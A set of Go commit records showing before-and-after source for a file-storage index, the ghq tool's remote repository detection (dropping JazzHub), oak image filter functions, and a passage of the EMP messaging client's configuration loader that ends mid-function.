import (
	"sync"
	"sync/atomic"
	"errors"
)

var ErrIndexAlredyExists = errors.New("Index already exists")

type Index struct {
	Files map[string]*File
	m *sync.Mutex
	v uint64
}

type IndexDump struct {
	F map[string]FileDump
	V uint64
}

func (i *Index) Add(name string, file *File) (err error) {
	i.m.Lock()
	defer i.m.Unlock()
	_, isset := i.Files[name]
	if isset {
		err = ErrIndexAlredyExists
		return
	}
	i.Files[name] = file
	atomic.AddUint64(&i.v, 1)
	return
}

func (i *Index) Get(name string) (f *File, ok bool) {
	f, ok = i.Files[name]
	return
}

func (i *Index) Delete(name string) (f *File, ok bool) {
	i.m.Lock()
	defer i.m.Unlock()
	f, ok = i.Files[name]
	if ok {
		delete(i.Files, name)
		atomic.AddUint64(&i.v, 1)
	}
	return
}

func (i *Index) DumpData() (dump IndexDump) {
	df := make(map[string]FileDump, len(i.Files))
	for n, f := range i.Files {
		df[n] = f.DumpData()
	}
	dump.F = df
	dump.V = i.v
	return
}

func (i *Index) Version() uint64 {
	return atomic.LoadUint64(&i.v)
}

func (id *IndexDump) Restore(s *Storage) *Index {
	files := make(map[string]*File, len(id.F))
	for n, f := range id.F {
		files[n] = &File{
			CId : f.CId,
			Md5 : f.Md5,
			Size : f.Size,
			Start : f.Start,
			Time : f.Time,
		}
		files[n].Init(s, n)
	}
	return &Index{files, &sync.Mutex{}, id.V}
}<commit_msg>Debug<commit_after>/*
  Copyright 2012 Sergey Cherepanov (https://github.com/cheggaaa)

  Licensed under the Apache License, Version 2.0 (the "License");
  you may not use this file except in compliance with the License.
  You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
*/

package storage

import (
	"sync"
	"sync/atomic"
	"errors"
)

type Index struct {
	Files map[string]*File
	m *sync.Mutex
	v uint64
}

type IndexDump struct {
	F map[string]FileDump
	V uint64
}

func (i *Index) Add(name string, file *File) (err error) {
	i.m.Lock()
	defer i.m.Unlock()
	_, isset := i.Files[name]
	if isset {
		err = errors.New("Index already exists: " + name)
		return
	}
	i.Files[name] = file
	atomic.AddUint64(&i.v, 1)
	return
}

func (i *Index) Get(name string) (f *File, ok bool) {
	f, ok = i.Files[name]
	return
}

func (i *Index) Delete(name string) (f *File, ok bool) {
	i.m.Lock()
	defer i.m.Unlock()
	f, ok = i.Files[name]
	if ok {
		delete(i.Files, name)
		atomic.AddUint64(&i.v, 1)
	}
	return
}

func (i *Index) DumpData() (dump IndexDump) {
	df := make(map[string]FileDump, len(i.Files))
	for n, f := range i.Files {
		df[n] = f.DumpData()
	}
	dump.F = df
	dump.V = i.v
	return
}

func (i *Index) Version() uint64 {
	return atomic.LoadUint64(&i.v)
}

func (id *IndexDump) Restore(s *Storage) *Index {
	files := make(map[string]*File, len(id.F))
	for n, f := range id.F {
		files[n] = &File{
			CId : f.CId,
			Md5 : f.Md5,
			Size : f.Size,
			Start : f.Start,
			Time : f.Time,
		}
		files[n].Init(s, n)
	}
	return &Index{files, &sync.Mutex{}, id.V}
}<|endoftext|>


<commit_before>package main

import (
	"fmt"
	"net/url"
	"regexp"
	"strings"

	"github.com/motemen/ghq/cmdutil"
	"github.com/motemen/ghq/logger"
)

// A RemoteRepository represents a remote repository.
type RemoteRepository interface {
	// The repository URL.
	URL() *url.URL
	// Checks if the URL is valid.
	IsValid() bool
	// The VCS backend that hosts the repository.
	VCS() (*VCSBackend, *url.URL)
}

// A GitHubRepository represents a GitHub repository. Impliments RemoteRepository.
type GitHubRepository struct {
	url *url.URL
}

func (repo *GitHubRepository) URL() *url.URL {
	return repo.url
}

func (repo *GitHubRepository) IsValid() bool {
	if strings.HasPrefix(repo.url.Path, "/blog/") {
		return false
	}

	// must be /{user}/{project}/?
	pathComponents := strings.Split(strings.TrimRight(repo.url.Path, "/"), "/")
	if len(pathComponents) != 3 {
		return false
	}

	return true
}

func (repo *GitHubRepository) VCS() (*VCSBackend, *url.URL) {
	return GitBackend, repo.URL()
}

// A GitHubGistRepository represents a GitHub Gist repository.
type GitHubGistRepository struct {
	url *url.URL
}

func (repo *GitHubGistRepository) URL() *url.URL {
	return repo.url
}

func (repo *GitHubGistRepository) IsValid() bool {
	return true
}

func (repo *GitHubGistRepository) VCS() (*VCSBackend, *url.URL) {
	return GitBackend, repo.URL()
}

type DarksHubRepository struct {
	url *url.URL
}

func (repo *DarksHubRepository) URL() *url.URL {
	return repo.url
}

func (repo *DarksHubRepository) IsValid() bool {
	return strings.Count(repo.url.Path, "/") == 2
}

func (repo *DarksHubRepository) VCS() (*VCSBackend, *url.URL) {
	return DarcsBackend, repo.URL()
}

type BluemixRepository struct {
	url *url.URL
}

func (repo *BluemixRepository) URL() *url.URL {
	return repo.url
}

var validBluemixPathPattern = regexp.MustCompile(`^/git/[^/]+/[^/]+$`)

func (repo *BluemixRepository) IsValid() bool {
	return validBluemixPathPattern.MatchString(repo.url.Path)
}

func (repo *BluemixRepository) VCS() (*VCSBackend, *url.URL) {
	return GitBackend, repo.URL()
}

type OtherRepository struct {
	url *url.URL
}

func (repo *OtherRepository) URL() *url.URL {
	return repo.url
}

func (repo *OtherRepository) IsValid() bool {
	return true
}

func (repo *OtherRepository) VCS() (*VCSBackend, *url.URL) {
	if err := gitHasFeatureConfigURLMatch(); err != nil {
		logger.Log("warning", err.Error())
	} else {
		// Respect 'ghq.url.https://ghe.example.com/.vcs' config variable
		// (in gitconfig:)
		//     [ghq "https://ghe.example.com/"]
		//     vcs = github
		vcs, err := GitConfig("--get-urlmatch", "ghq.vcs", repo.URL().String())
		if err != nil {
			logger.Log("error", err.Error())
		}
		if backend, ok := vcsRegistry[vcs]; ok {
			return backend, repo.URL()
		}
	}

	// Detect VCS backend automatically
	if cmdutil.RunSilently("git", "ls-remote", repo.url.String()) == nil {
		return GitBackend, repo.URL()
	}

	vcs, repoURL, err := detectGoImport(repo.url)
	if err == nil {
		// vcs == "mod" (modproxy) not supported yet
		return vcsRegistry[vcs], repoURL
	}

	if cmdutil.RunSilently("hg", "identify", repo.url.String()) == nil {
		return MercurialBackend, repo.URL()
	}

	if cmdutil.RunSilently("svn", "info", repo.url.String()) == nil {
		return SubversionBackend, repo.URL()
	}

	return nil, nil
}

func NewRemoteRepository(url *url.URL) (RemoteRepository, error) {
	if url.Host == "github.com" {
		return &GitHubRepository{url}, nil
	}

	if url.Host == "gist.github.com" {
		return &GitHubGistRepository{url}, nil
	}

	if url.Host == "hub.darcs.net" {
		return &DarksHubRepository{url}, nil
	}

	if url.Host == "hub.jazz.net" {
		return &BluemixRepository{url}, nil
	}

	gheHosts, err := GitConfigAll("ghq.ghe.host")

	if err != nil {
		return nil, fmt.Errorf("failed to retrieve GH:E hostname from .gitconfig: %s", err)
	}

	for _, host := range gheHosts {
		if url.Host == host {
			return &GitHubRepository{url}, nil
		}
	}

	return &OtherRepository{url}, nil
}
<commit_msg>good bye jazzHub<commit_after>package main

import (
	"fmt"
	"net/url"
	"strings"

	"github.com/motemen/ghq/cmdutil"
	"github.com/motemen/ghq/logger"
)

// A RemoteRepository represents a remote repository.
type RemoteRepository interface {
	// The repository URL.
	URL() *url.URL
	// Checks if the URL is valid.
	IsValid() bool
	// The VCS backend that hosts the repository.
	VCS() (*VCSBackend, *url.URL)
}

// A GitHubRepository represents a GitHub repository. Impliments RemoteRepository.
type GitHubRepository struct {
	url *url.URL
}

func (repo *GitHubRepository) URL() *url.URL {
	return repo.url
}

func (repo *GitHubRepository) IsValid() bool {
	if strings.HasPrefix(repo.url.Path, "/blog/") {
		return false
	}

	// must be /{user}/{project}/?
	pathComponents := strings.Split(strings.TrimRight(repo.url.Path, "/"), "/")
	if len(pathComponents) != 3 {
		return false
	}

	return true
}

func (repo *GitHubRepository) VCS() (*VCSBackend, *url.URL) {
	return GitBackend, repo.URL()
}

// A GitHubGistRepository represents a GitHub Gist repository.
type GitHubGistRepository struct {
	url *url.URL
}

func (repo *GitHubGistRepository) URL() *url.URL {
	return repo.url
}

func (repo *GitHubGistRepository) IsValid() bool {
	return true
}

func (repo *GitHubGistRepository) VCS() (*VCSBackend, *url.URL) {
	return GitBackend, repo.URL()
}

type DarksHubRepository struct {
	url *url.URL
}

func (repo *DarksHubRepository) URL() *url.URL {
	return repo.url
}

func (repo *DarksHubRepository) IsValid() bool {
	return strings.Count(repo.url.Path, "/") == 2
}

func (repo *DarksHubRepository) VCS() (*VCSBackend, *url.URL) {
	return DarcsBackend, repo.URL()
}

type OtherRepository struct {
	url *url.URL
}

func (repo *OtherRepository) URL() *url.URL {
	return repo.url
}

func (repo *OtherRepository) IsValid() bool {
	return true
}

func (repo *OtherRepository) VCS() (*VCSBackend, *url.URL) {
	if err := gitHasFeatureConfigURLMatch(); err != nil {
		logger.Log("warning", err.Error())
	} else {
		// Respect 'ghq.url.https://ghe.example.com/.vcs' config variable
		// (in gitconfig:)
		//     [ghq "https://ghe.example.com/"]
		//     vcs = github
		vcs, err := GitConfig("--get-urlmatch", "ghq.vcs", repo.URL().String())
		if err != nil {
			logger.Log("error", err.Error())
		}
		if backend, ok := vcsRegistry[vcs]; ok {
			return backend, repo.URL()
		}
	}

	// Detect VCS backend automatically
	if cmdutil.RunSilently("git", "ls-remote", repo.url.String()) == nil {
		return GitBackend, repo.URL()
	}

	vcs, repoURL, err := detectGoImport(repo.url)
	if err == nil {
		// vcs == "mod" (modproxy) not supported yet
		return vcsRegistry[vcs], repoURL
	}

	if cmdutil.RunSilently("hg", "identify", repo.url.String()) == nil {
		return MercurialBackend, repo.URL()
	}

	if cmdutil.RunSilently("svn", "info", repo.url.String()) == nil {
		return SubversionBackend, repo.URL()
	}

	return nil, nil
}

func NewRemoteRepository(url *url.URL) (RemoteRepository, error) {
	if url.Host == "github.com" {
		return &GitHubRepository{url}, nil
	}

	if url.Host == "gist.github.com" {
		return &GitHubGistRepository{url}, nil
	}

	if url.Host == "hub.darcs.net" {
		return &DarksHubRepository{url}, nil
	}

	gheHosts, err := GitConfigAll("ghq.ghe.host")

	if err != nil {
		return nil, fmt.Errorf("failed to retrieve GH:E hostname from .gitconfig: %s", err)
	}

	for _, host := range gheHosts {
		if url.Host == host {
			return &GitHubRepository{url}, nil
		}
	}

	return &OtherRepository{url}, nil
}
<|endoftext|>


<commit_before>package mod

import (
	"image"
	"image/color"
	"math"

	"github.com/oakmound/oak/v2/dlog"
)

// A Filter modifies an input image in place. This is useful notably for modifying
// a screen buffer, as they will refuse to be modified in any other way. This cannot
// change the dimensions of the underlying image.
type Filter func(*image.RGBA)

// AndFilter combines multiple filters into one.
func AndFilter(fs ...Filter) Filter {
	return func(rgba *image.RGBA) {
		for _, f := range fs {
			f(rgba)
		}
	}
}

// ConformToPallete is not a modification, but acts like ConformToPallete
// without allocating a new *image.RGBA
func ConformToPallete(p color.Model) Filter {
	return func(rgba *image.RGBA) {
		bounds := rgba.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				rgba.Set(x, y, p.Convert(rgba.At(x, y)))
			}
		}
	}
}

// Fade reduces the alpha of an image. It takes an alpha from 0-255.
func Fade(alpha int) Filter {
	return func(rgba *image.RGBA) {
		bounds := rgba.Bounds()
		a2 := uint32(alpha * 257)
		w := bounds.Max.X
		h := bounds.Max.Y
		var a3 uint16
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r, g, b, a := rgba.At(x, y).RGBA()
				if a2 > a {
					a3 = 0
				} else {
					a3 = uint16(a - a2)
				}
				rgba.Set(x, y, color.NRGBA64{
					uint16(r),
					uint16(g),
					uint16(b),
					a3})
			}
		}
	}
}

// ApplyMask mixes the rgba values of two images, according to
// their alpha levels, and returns that as a new rgba.
func ApplyMask(img image.RGBA) Filter {
	return func(rgba *image.RGBA) {
		bounds := img.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r1, g1, b1, a1 := img.At(x, y).RGBA()
				r2, g2, b2, a2 := rgba.At(x, y).RGBA()

				a3 := a1 + a2
				if a3 == 0 {
					rgba.Set(x, y, color.RGBA64{0, 0, 0, 0})
					continue
				}

				rgba.Set(x, y, color.RGBA64{
					uint16(((a1 * r1) + (a2 * r2)) / a3),
					uint16(((a1 * g1) + (a2 * g2)) / a3),
					uint16(((a1 * b1) + (a2 * b2)) / a3),
					uint16(math.Max(float64(a1), float64(a2)))})
			}
		}
	}
}

// ApplyColor mixes a color into the rgba values of an image
// and returns that new rgba.
func ApplyColor(c color.Color) Filter {
	return func(rgba *image.RGBA) {

		r1, g1, b1, a1 := c.RGBA()
		bounds := rgba.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r2, g2, b2, a2 := rgba.At(x, y).RGBA()
				a3 := a1 + a2
				if a2 == 0 {
					rgba.Set(x, y, color.RGBA{0, 0, 0, 0})
					continue
				}
				rgba.Set(x, y, color.RGBA64{
					uint16(((a1 * r1) + (a2 * r2)) / a3),
					uint16(((a1 * g1) + (a2 * g2)) / a3),
					uint16(((a1 * b1) + (a2 * b2)) / a3),
					uint16(a2)})
			}
		}
	}
}

// FillMask replaces alpha 0 pixels in an RGBA with corresponding
// pixels in a second RGBA.
func FillMask(img image.RGBA) Filter {
	return func(rgba *image.RGBA) {
		bounds := img.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r1, g1, b1, a1 := rgba.At(x, y).RGBA()
				r2, g2, b2, a2 := img.At(x, y).RGBA()

				var tmp color.RGBA64

				if a1 == 0 {
					tmp = color.RGBA64{
						uint16(r2),
						uint16(g2),
						uint16(b2),
						uint16(a2),
					}
				} else {
					tmp = color.RGBA64{
						uint16(r1),
						uint16(g1),
						uint16(b1),
						uint16(a1),
					}
				}

				rgba.Set(x, y, tmp)
			}
		}
	}
}

// InPlace converts a Mod to a Filter.
func InPlace(m Mod) Filter {
	return func(rgba *image.RGBA) {
		rgba2 := m(rgba)
		bounds := rgba.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				rgba.Set(x, y, rgba2.At(x, y))
			}
		}
	}
}

// StripOuterAlpha from the image given a source image and a alpha level to denote stripping.
func StripOuterAlpha(m *image.RGBA, level int) Filter {
	l := uint8(level)
	return func(rgba *image.RGBA) {
		if m == nil {
			dlog.Warn("Invalid rgba provided to stripouteralpha")
			return
		}

		mr := m

		//get an image
		bounds := mr.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y

		// check downwards
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}
		// check left to right
		for y := 0; y < h; y++ {
			for x := 0; x < w; x++ {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}

		// check downwards
		for x := 0; x < w; x++ {
			for y := h - 1; y >= 0; y-- {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}
		// check left to right
		for y := 0; y < h; y++ {
			for x := w - 1; x >= 0; x-- {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}

		// apply image onto m

	}

}

// There is no function to convert a Filter to a Mod, to promote not doing so.
// Mods are significantly less efficient than Filters.
<commit_msg>Update StripOuterAlpha's comments.<commit_after>package mod

import (
	"image"
	"image/color"
	"math"

	"github.com/oakmound/oak/v2/dlog"
)

// A Filter modifies an input image in place. This is useful notably for modifying
// a screen buffer, as they will refuse to be modified in any other way. This cannot
// change the dimensions of the underlying image.
type Filter func(*image.RGBA)

// AndFilter combines multiple filters into one.
func AndFilter(fs ...Filter) Filter {
	return func(rgba *image.RGBA) {
		for _, f := range fs {
			f(rgba)
		}
	}
}

// ConformToPallete is not a modification, but acts like ConformToPallete
// without allocating a new *image.RGBA
func ConformToPallete(p color.Model) Filter {
	return func(rgba *image.RGBA) {
		bounds := rgba.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				rgba.Set(x, y, p.Convert(rgba.At(x, y)))
			}
		}
	}
}

// Fade reduces the alpha of an image. It takes an alpha from 0-255.
func Fade(alpha int) Filter {
	return func(rgba *image.RGBA) {
		bounds := rgba.Bounds()
		a2 := uint32(alpha * 257)
		w := bounds.Max.X
		h := bounds.Max.Y
		var a3 uint16
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r, g, b, a := rgba.At(x, y).RGBA()
				if a2 > a {
					a3 = 0
				} else {
					a3 = uint16(a - a2)
				}
				rgba.Set(x, y, color.NRGBA64{
					uint16(r),
					uint16(g),
					uint16(b),
					a3})
			}
		}
	}
}

// ApplyMask mixes the rgba values of two images, according to
// their alpha levels, and returns that as a new rgba.
func ApplyMask(img image.RGBA) Filter {
	return func(rgba *image.RGBA) {
		bounds := img.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r1, g1, b1, a1 := img.At(x, y).RGBA()
				r2, g2, b2, a2 := rgba.At(x, y).RGBA()

				a3 := a1 + a2
				if a3 == 0 {
					rgba.Set(x, y, color.RGBA64{0, 0, 0, 0})
					continue
				}

				rgba.Set(x, y, color.RGBA64{
					uint16(((a1 * r1) + (a2 * r2)) / a3),
					uint16(((a1 * g1) + (a2 * g2)) / a3),
					uint16(((a1 * b1) + (a2 * b2)) / a3),
					uint16(math.Max(float64(a1), float64(a2)))})
			}
		}
	}
}

// ApplyColor mixes a color into the rgba values of an image
// and returns that new rgba.
func ApplyColor(c color.Color) Filter {
	return func(rgba *image.RGBA) {

		r1, g1, b1, a1 := c.RGBA()
		bounds := rgba.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r2, g2, b2, a2 := rgba.At(x, y).RGBA()
				a3 := a1 + a2
				if a2 == 0 {
					rgba.Set(x, y, color.RGBA{0, 0, 0, 0})
					continue
				}
				rgba.Set(x, y, color.RGBA64{
					uint16(((a1 * r1) + (a2 * r2)) / a3),
					uint16(((a1 * g1) + (a2 * g2)) / a3),
					uint16(((a1 * b1) + (a2 * b2)) / a3),
					uint16(a2)})
			}
		}
	}
}

// FillMask replaces alpha 0 pixels in an RGBA with corresponding
// pixels in a second RGBA.
func FillMask(img image.RGBA) Filter {
	return func(rgba *image.RGBA) {
		bounds := img.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r1, g1, b1, a1 := rgba.At(x, y).RGBA()
				r2, g2, b2, a2 := img.At(x, y).RGBA()

				var tmp color.RGBA64

				if a1 == 0 {
					tmp = color.RGBA64{
						uint16(r2),
						uint16(g2),
						uint16(b2),
						uint16(a2),
					}
				} else {
					tmp = color.RGBA64{
						uint16(r1),
						uint16(g1),
						uint16(b1),
						uint16(a1),
					}
				}

				rgba.Set(x, y, tmp)
			}
		}
	}
}

// InPlace converts a Mod to a Filter.
func InPlace(m Mod) Filter {
	return func(rgba *image.RGBA) {
		rgba2 := m(rgba)
		bounds := rgba.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				rgba.Set(x, y, rgba2.At(x, y))
			}
		}
	}
}

// StripOuterAlpha from the image given a source image and a alpha level to denote stripping.
// Note that this was implement for ease of implementation but not speed.
// We could use image lib or a real depth first search to do fewer checks but this is easier...
func StripOuterAlpha(m *image.RGBA, level int) Filter {
	l := uint8(level)
	return func(rgba *image.RGBA) {
		if m == nil {
			dlog.Warn("Invalid rgba provided to stripouteralpha")
			return
		}

		mr := m

		//get an image
		bounds := mr.Bounds()
		w := bounds.Max.X
		h := bounds.Max.Y

		// check downwards for the given level.x
		for x := 0; x < w; x++ {
			for y := 0; y < h; y++ {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}
		// check left to right for the given level.
		for y := 0; y < h; y++ {
			for x := 0; x < w; x++ {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}

		// check bottom up for the given level.
		for x := 0; x < w; x++ {
			for y := h - 1; y >= 0; y-- {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}
		// check right to left for the given level.
		for y := 0; y < h; y++ {
			for x := w - 1; x >= 0; x-- {
				r := mr.RGBAAt(x, y)
				if r.A <= l {
					// Treating as transparent
					rgba.Set(int(x), int(y), mr.At(x, y))
				} else {
					break
				}
			}
		}

		// apply image onto m

	}

}

// There is no function to convert a Filter to a Mod, to promote not doing so.
// Mods are significantly less efficient than Filters.
<|endoftext|>


<commit_before>/**
    Copyright 2014 JARST, LLC

    This file is part of EMP.

    EMP is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    EMP is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Foobar.  If not, see <http://www.gnu.org/licenses/>.
**/

package api

import (
	"emp/objects"
	"fmt"
	"github.com/BurntSushi/toml"
	"net"
	"os"
	"bufio"
	"os/user"
	"quibit"
	"time"
	"io/ioutil"
)

var confDir string;

type ApiConfig struct {
	// Network Channels
	RecvQueue chan quibit.Frame
	SendQueue chan quibit.Frame
	PeerQueue chan quibit.Peer

	// Local Logic
	DbFile       string
	LocalDB      string
	NodeFile     string
	NodeList     objects.NodeList
	LocalVersion objects.Version
	Bootstrap    []string

	// Local Register
	PubkeyRegister  chan objects.Hash
	MessageRegister chan objects.Message
	PubRegister     chan objects.Message
	PurgeRegister   chan [16]byte

	// Administration
	Log  chan string
	Quit chan os.Signal

	// Network
	RPCPort uint16
	RPCUser string
	RPCPass string

	HttpRoot string
}

func CmdString(cmd uint8) string {
	var ret string

	switch cmd {
	case objects.VERSION:
		ret = "version"
	case objects.PEER:
		ret = "peer list"
	case objects.OBJ:
		ret = "object vector"
	case objects.GETOBJ:
		ret = "object request"
	case objects.PUBKEY_REQUEST:
		ret = "public key request"
	case objects.PUBKEY:
		ret = "public key"
	case objects.MSG:
		ret = "encrypted message"
	case objects.PUB:
		ret = "encrypted publication"
	case objects.PURGE:
		ret = "purge notification"
	case objects.CHECKTXID:
		ret = "purge check"
	default:
		ret = "unknown"
	}

	return ret
}

const (
	bufLen = 10
)

type tomlConfig struct {
	Inventory string `toml:"inventory"`
	Local     string `toml:"local"`
	Nodes     string `toml:"nodes"`

	IP   string
	Port uint16

	Peers []string `toml:"bootstrap"`

	RPCConf RPCConf `toml:"rpc"`
}

type RPCConf struct {
	User  string
	Pass  string
	Port  uint16
	Local string `toml:"local_client"`
}

func SetConfDir(conf string) {
	confDir = conf
}

func GetConfDir() string {
	if len(confDir) != 0 {
		return confDir
	}

	usr, err := user.Current()
	if err != nil {
		return "./"
	}

	return usr.HomeDir + "/.config/emp/"
}

func GetConfig(confFile string) *ApiConfig {

	var tomlConf tomlConfig

	if _, err := toml.DecodeFile(confFile, &tomlConf); err != nil {
		fmt.Println("Config Error: ", err)
		return nil
	}

	config := new(ApiConfig)

	// Network Channels
	config.RecvQueue = make(chan quibit.Frame, bufLen)
	config.SendQueue = make(chan quibit.Frame, bufLen)
	config.PeerQueue = make(chan quibit.Peer, bufLen)

	// Local Logic
	config.DbFile = GetConfDir() + tomlConf.Inventory
	config.LocalDB = GetConfDir() + tomlConf.Local
	if len(config.DbFile) == 0 || len(config.LocalDB) == 0 {
		fmt.Println("Database file not found in config!")
		return nil
	}
	config.NodeFile = GetConfDir() + tomlConf.Nodes

	config.LocalVersion.Port = tomlConf.Port
	if tomlConf.IP != "0.0.0.0" {
		config.LocalVersion.IpAddress = net.ParseIP(tomlConf.IP)
	}
	config.LocalVersion.Timestamp = time.Now().Round(time.Second)
	config.LocalVersion.Version = objects.LOCAL_VERSION
	config.LocalVersion.UserAgent = objects.LOCAL_USER

	// RPC
	config.RPCPort = tomlConf.RPCConf.Port
	config.RPCUser = tomlConf.RPCConf.User
	config.RPCPass = tomlConf.RPCConf.Pass
	config.HttpRoot = GetConfDir() + tomlConf.RPCConf.Local

	// Local Registers
	config.PubkeyRegister  = make(chan objects.Hash, bufLen)
	config.MessageRegister = make(chan objects.Message, bufLen)
	config.PubRegister     = make(chan objects.Message, bufLen)
	config.PurgeRegister   = make(chan [16]byte, bufLen)

	// Administration
	config.Log = make(chan string, bufLen)
	config.Quit = make(chan os.Signal, 1)

	// Initialize Map
	config.NodeList.Nodes = make(map[string]objects.Node)

	// Bootstrap Nodes
	config.Bootstrap = make([]string, len(tomlConf.Peers), cap(tomlConf.Peers))
	copy(config.Bootstrap, tomlConf.Peers)
	for i, str := range tomlConf.Peers {
		if i >= bufLen {
			break
		}

		p := new(quibit.Peer)
		n := new(objects.Node)
		err := n.FromString(str)
		if err != nil {
			fmt.Println("Error Decoding Peer ", str, ": ", err)
			continue
		}

		p.IP = n.IP
		p.Port = n.Port
		config.PeerQueue <- *p
		config.NodeList.Nodes[n.String()] = *n
	}

	// Pull Nodes from node file
	if len(config.NodeFile) > 0 {
		ReadNodes(config)
	}

	return config
}

func ReadNodes(config *ApiConfig) {
	file, err := os.Open(config.NodeFile);
	defer file.Close()
	if err != nil {
		fmt.Println("Could not open node file: ", err)
	}

	var count int

	scanner := bufio.NewScanner(file)

	for scanner.Scan() {
    	str := scanner.Text()
    	if len(str) < 0 || str == "<nil>" {
    		continue
    	}

		p := new(quibit.Peer)
		n := new(objects.Node)
		err = n.FromString(str)
		if err != nil {
			fmt.Println("Error Decoding Peer ", str, ": ", err)
			continue
		}

		p.IP = n.IP
		p.Port = n.Port
		config.PeerQueue <- *p
		config.NodeList.Nodes[n.String()] = *n
		count++
	}
	fmt.Println(count, "nodes pulled from node file.")
}

func DumpNodes(config *ApiConfig) {
	if config == nil {
		return
	}
	if len(config.NodeFile) < 1 {
		return
	}
	writeBytes := make([]byte, 0, 0)

	for key, _ := range config.NodeList.Nodes {
		if quibit.GetPeer(key).IsConnected() {
			writeBytes = append(writeBytes, key...)
			writeBytes = append(writeBytes, byte('\n'))
		}
	}

	err := ioutil.WriteFile(config.NodeFile, writeBytes, 0644)
	if err != nil {
		fmt.Println("Error writing peers to file: ", err)
	}
}
<commit_msg>Changed config<commit_after>/**
    Copyright 2014 JARST, LLC

    This file is part of EMP.

    EMP is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    EMP is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Foobar.  If not, see <http://www.gnu.org/licenses/>.
**/

package api

import (
	"emp/objects"
	"fmt"
	"github.com/BurntSushi/toml"
	"net"
	"os"
	"bufio"
	"os/user"
	"quibit"
	"time"
	"io/ioutil"
)

var confDir string;

type ApiConfig struct {
	// Network Channels
	RecvQueue chan quibit.Frame // Send frames here to be handled by the API
	SendQueue chan quibit.Frame // Frames to be broadcast to the network are sent here
	PeerQueue chan quibit.Peer // New peers to connect to are sent here

	// Local Logic
	DbFile       string // Inventory File relative to Config Directory
	LocalDB      string // EMPLocal Database relative to Config Directory
	NodeFile     string
	NodeList     objects.NodeList
	LocalVersion objects.Version
	Bootstrap    []string

	// Local Register
	PubkeyRegister  chan objects.Hash
	MessageRegister chan objects.Message
	PubRegister     chan objects.Message
	PurgeRegister   chan [16]byte

	// Administration
	Log  chan string
	Quit chan os.Signal

	// Network
	RPCPort uint16
	RPCUser string
	RPCPass string

	HttpRoot string
}

func CmdString(cmd uint8) string {
	var ret string

	switch cmd {
	case objects.VERSION:
		ret = "version"
	case objects.PEER:
		ret = "peer list"
	case objects.OBJ:
		ret = "object vector"
	case objects.GETOBJ:
		ret = "object request"
	case objects.PUBKEY_REQUEST:
		ret = "public key request"
	case objects.PUBKEY:
		ret = "public key"
	case objects.MSG:
		ret = "encrypted message"
	case objects.PUB:
		ret = "encrypted publication"
	case objects.PURGE:
		ret = "purge notification"
	case objects.CHECKTXID:
		ret = "purge check"
	default:
		ret = "unknown"
	}

	return ret
}

const (
	bufLen = 10
)

type tomlConfig struct {
	Inventory string `toml:"inventory"`
	Local     string `toml:"local"`
	Nodes     string `toml:"nodes"`

	IP   string
	Port uint16

	Peers []string `toml:"bootstrap"`

	RPCConf RPCConf `toml:"rpc"`
}

type RPCConf struct {
	User  string
	Pass  string
	Port  uint16
	Local string `toml:"local_client"`
}

func SetConfDir(conf string) {
	confDir = conf
}

func GetConfDir() string {
	if len(confDir) != 0 {
		return confDir
	}

